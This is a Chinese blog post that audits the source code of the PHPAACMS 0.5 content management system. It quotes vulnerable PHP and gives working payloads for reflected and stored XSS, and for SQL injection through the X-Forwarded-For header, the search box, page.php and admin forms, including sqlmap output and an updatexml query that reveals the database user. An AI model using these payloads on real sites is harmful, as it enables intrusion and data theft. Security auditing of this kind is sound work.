PHP代码审计之PHPAACMS0.5

0x00

这个cms是在一期周报里看到的,不过周报里是0.3版本的,而且是最简单的一个GET注入,所以响应上一篇审计ZZCMS时我在群里说过的豪言,像ZZCMS这样子的,给我来一打,我能打十个!(#斜眼笑。。。)

0x01

那我们根据他周报里出现的最简单的GET注入的位置,看看他是如何修复的。
show.php 1行 – 6行

1
2
3
4
5
6
<?php
include_once 'global.php';

$id = !empty($id) ? intval($id) : 0;
$arc = getArticleInfo($id);
?>

可以看到,他只把类型给强制给转换了,而不是用全局包含的形式去过滤,所以肯定会出现过滤不严的问题,从而导致肯定会会出现SQL注入。

可以看到,他只把类型给强制给转换了,而不是用全局包含的形式去过滤,所以肯定会出现过滤不严的问题,从而导致肯定会会出现SQL注入。

0x02

search.php 21行 反射XSS

1
<td align="left">搜索关键字:<font style="color:#F00""><?php echo $_GET['keywords'];?></font></td>

这里其实是搜索框这里的,也是最近在测试一些站点最常见的漏洞,毕竟有这么一个,我这天的报告就算完成了一半了。

1
http://127.0.0.1/phpaaCMS/search.php?keywords=<script>alert(1);</script>

0x03

按照常规思路继续来到后台留言板这里看下这里的代码。

message.php 13行–40行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include_once 'header.php';

if(isset($_POST['name'])){
if(empty($_POST['name'])){
exit ("<script>alert('称呼为空!'); window.history.go(-1);</script>");
}elseif(empty($_POST['content'])){
exit ("<script>alert('内容不能为空!');window.history.go(-1);</script>");
}else{
$record = array(
'title' =>$_POST ['title'],
'name' =>$_POST ['name'],
//'sex' =>$_POST ['sex'],
//'qq' =>$_POST ['qq'],
//'phone' =>$_POST ['phone'],
//'email' =>$_POST ['email'],
//'address' =>$_POST ['address'],
'content' =>$_POST ['content'],
'ip' =>get_client_ip(),
'created_date' =>date ( "Y-m-d H:i:s" )
);
$id = $db->save('phpaadb_message',$record);
if($id){
echo "<script>alert('留言成功!管理员审核才能看到!')
window.location='message.php';</script>";
}
}
}
?>

可以看到,没有一丝丝过滤的就这么插进去了,但是还是得看后台页面进行了过滤没有才是可以的。

/admin/message.php 146行

1
2
3
4
5
6
7
8
9
<font style="color:#009900">
<?php echo $list['created_date'];?>
</font> &nbsp;&nbsp;
<font style="color:#0009CC">
<?php echo $list['name'];?>
</font> &nbsp;&nbsp;QQ:
<?php echo $list['qq'];?> &nbsp;&nbsp;Email:
<?php echo $list['email'];?> &nbsp;&nbsp;IP:
<?php echo $list['ip'];?></t

通过查看,可以确认,储存XSS一枚,确认无疑。

0x04

接着上面那个留言板,我们可能没有仔细观察接受 来访IP那里,我们再来观察一下。

1
'ip' =>get_client_ip(),

是不是有种很熟悉的感觉?那我们继续跟进下这个函数的位置看一下。

/include/functions.php 12行 – 23行

1
2
3
4
5
6
7
8
9
10
11
12
function get_client_ip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);

再看到这个函数,是不是和上篇ZZCMS好似兄弟一样?妥妥的一个 XFF 注入啊!那扔SQLmap里看一下结果把。

1
2
3
4
5
6
7
8
9
10
11
12
13
Parameter: X-Forwarded-For #1* ((custom) HEADER)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: 0.0.0.0' RLIKE (SELECT (CASE WHEN (1926=1926) THEN 0x302e302e302e30 ELSE 0x28 END)) AND 'cAur'='cAur

Type: error-based
Title: MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)
Payload: 0.0.0.0' OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170627171,(SELECT (ELT(4546=4546,1))),0x7162626b
71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'dhus'='dhus

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: 0.0.0.0' OR SLEEP(5) AND 'rtPK'='rtPK

可以看到存在布尔盲注,时间盲注,还有报错注入。不过这里得提一个点,由于这是INSERT注入,所以请不要去用sqlmap去测试,因为这会造成很多的垃圾的测试数据,我曾统计过,sqlmap测试一个注入点,基本会输出120~140个payload数据来判断,所以都懂的。

0x05

额,上面忘了记录还有一个点,还是搜索框那里。

/search.php 24行–29行

1
2
3
4
5
6
<?php foreach(getArticleList("cid=".$_GET['id']."|keywords=".$_GET['keywords']."|row=20") as $list){?>
<tr>
<td height="30" align="left"><a href="show.php?id=<?php echo $list['id']?>" target="_blank"><?php echo $list['title']?></a>&nbsp;</td>
<td width="120" align="left"><?php echo $list['pubdate']?>&nbsp;</td>
</tr>
<?php }?>

这里只要跟进一下 getArticleList() 这个函数即可。

/include/function.web.php 136行–206行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
function getArticleList($str=''){
global $db;
$page = !empty($_REQUEST['page']) ? intval($_REQUEST['page']) : 0;
$curpage = empty($page)?0:($page-1);
//定义默认数据
$init_array =array(
'row' =>0,
'titlelen' =>0,
'keywords' =>0,
'type' =>'',
'cid' =>'',
'order' =>'id',
'orderway' =>'desc'
);
//用获取的数据覆盖默认数据
$str_array = explode('|',$str);
foreach($str_array as $_str_item){
if(!empty($_str_item)){
$_str_item_array = explode('=',$_str_item);
if(!empty($_str_item_array[0])&&!empty($_str_item_array[1])){
$init_array[$_str_item_array[0]]=$_str_item_array[1];
}
}
}

//定义要用到的变量
$row = $init_array['row'];
$titlelen = $init_array['titlelen'];
$keywords = htmlspecialchars($init_array['keywords']);
$type = $init_array['type'];
$cid = $init_array['cid'];
$order = $init_array['order'];
$orderway = $init_array['orderway'];

//文章标题长度控制
if(!empty($titlelen)){
$title="substring(a.title,1,".$titlelen.") as title";
}else{
$title="a.title";
}
//根据条件数据生成条件语句
$where = "";
if(!empty($cid)){
$where .= " and a.cid in (".$cid.")";
}else{
$id = !empty($id) ? intval($id) : 0;
if(!empty($id)){
$where .= " and a.cid in (".$id.")";
}
}
if($type=='image'){
$where .= " and a.pic is not null";
}

if(!empty($keywords)){
$where .= " and a.title like '%".$keywords."%' or a.content like '%".$keywords."%'";
}

$sql = "select
a.id,b.id as cid,".$title.",a.att,a.pic,a.source,
a.author,a.resume,a.pubdate,a.content,a.hits,a.created_by,a.created_date,
b.name
from phpaadb_article a
left outer join phpaadb_category b on a.cid=b.id
where a.delete_session_id is null ".$where." order by a.".$order." ".$orderway;

global $pageList;
$pageList['pagination_total_number'] = $db->getRowsNum($sql);
$pageList['pagination_perpage'] = empty($row)?$pageList['pagination_total_number']:$row;
return $db->selectLimit($sql,$pageList['pagination_perpage'],$curpage*$row);
}

函数较多,,懒的细解释,直接一个搜索型报错payload搞定。

1
search.php?keywords=111%' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '%1%'='%1

然后成功的出来root用户信息了。

XPATH syntax error: ‘root@localhost

0x06

page.php 4行–11行

1
2
3
4
5
6
7
8
$id = is_numeric($_GET['id'])?$_GET['id']:0;
$code = $_GET['code']?$_GET['code']:'';
if(!empty($id)){
$page = getPageInfoById($id);
}else{
$page = getPageInfoByCode($code);
}
?>

这里挺有意思的,如果id存在就用上面的函数,如果不存在就接受下面的code参数,我们分别查看下每个函数的意思把。
在搜索第一个函数的时候,竟然没搜到,后来看到后,程序员犯了个小bug,就是把大写的ID在调用文件里写成小写了,怪不得我搜不到。

/include/function.web.php

68行–71行

1
2
3
4
function getPageInfoByID($id=0){
global $db;
return $db->find("select * from phpaadb_page where id=".$id);
}

77行–80行

1
2
3
4
function getPageInfoByCode($code){
global $db;
return $db->find("select * from phpaadb_page where code='".$code."'");
}

这不是妥妥的SQL注入啊,不解释。

0x07

额额,前台的差不多就这些了,再弄几个后台没毛用的SQL注入把?不能光前台把。

/admin/category.action.php 16行 – 27 行

1
2
3
4
5
6
7
8
9
10
11
if ($act=='edit'){
$pid = $_POST['pid'];
$id = $_POST['cid'];
$record = array(
'pid' =>$_POST ['pid'],
'name' =>$_POST ['name'],
'seq' =>$_POST ['seq'],
'description'=>$_POST['description']
);
$db->update('phpaadb_category',$record,'id='.$id);
header("Location: category.php");

这里关键的函数在于act,为什么说关键了,如果没有这个,就不存在接下来的判断。
然后我们继续看下这个update这个函数。

/include/mysql.class.php 91行 – 107 行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function update($table, $field_values, $where = '') {
$field_names = $this->getCol ( 'DESC ' . $table );
$sets = array ();
foreach ( $field_names as $value ) {
if (array_key_exists ( $value, $field_values ) == true) {
$sets [] = $value . " = '" . $field_values [$value] . "'";
}
}
if (! empty ( $sets )) {
$sql = 'UPDATE ' . $table . ' SET ' . implode ( ', ', $sets ) . ' WHERE ' . $where;
}
if ($sql) {
return $this->query ( $sql );
} else {
return false;
}
}

这里也不解释了,妥妥的后台注入就行了,直接上数据库吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /phpaaCMS/admin/category.action.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Referer: http://127.0.0.1/phpaaCMS/admin/category.add.php?act=edit&id=1
Cookie: username=admin; lastURL=http%3A%2F%2F127.0.0.1%2FphpaaCMS%2Fadmin%2Findex.php; bdshare_firstime=1504239219561; security_level=0; UserName=shiyan; PassWord=a346d5941b532654bf137e520cfa3ac0; PHPSESSID=pmh98lmalibbjlrkild42cft07
X-Forwarded-For: 0.0.0.0
Connection: close
Upgrade-Insecure-Requests: 1

act=edit&pid=0&name=%E6%9C%80%E6%96%B0%E5%8A%A8%E6%80%81&seq=0&description=&button=%E4%BF%AE%E6%94%B9%E6%A0%8F%E7%9B%AE&cid=1

pid,name,seq,description这四个参数都存在注入。

payload:

1
' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '1'='1

0x08

user.add.php 1行–7行

1
2
3
4
5
6
7
<?php
require_once ("global.php");
$userid = trim($_GET ['userid'])?trim($_GET ['userid']):0;
$act = trim($_GET ['act'])?trim($_GET ['act']):'add';
$actName = $act == 'add'?'添加':'修改';
$users = $db->find ( "select * from phpaadb_users where userid=" . $userid );
?>

注入注入注入,,,,不无聊了,,毕竟还是得审计搞搞就行了,尤其是是这个像ZZCMS一样的CMS。

python才是我的最爱,而apt才是。。。

0x09

有时候我也在想,当初有一个apt的机会,我不敢闯,怕自己做不好,而安服到底是我所追求的吗?我到底一开始要成为像猪猪侠一样的白帽子,还是像江湖中的侠客一般,仗剑走天涯?可能真的应了那句话,路走的远了,可能真的忘了当初为什么要走这条路。


PHP代码审计之PHPAACMS0.5
https://sh1yan.top/2018/01/14/Phpaacms0.5-of-PHP-code-audit/
作者
shiyan
发布于
2018年1月14日
许可协议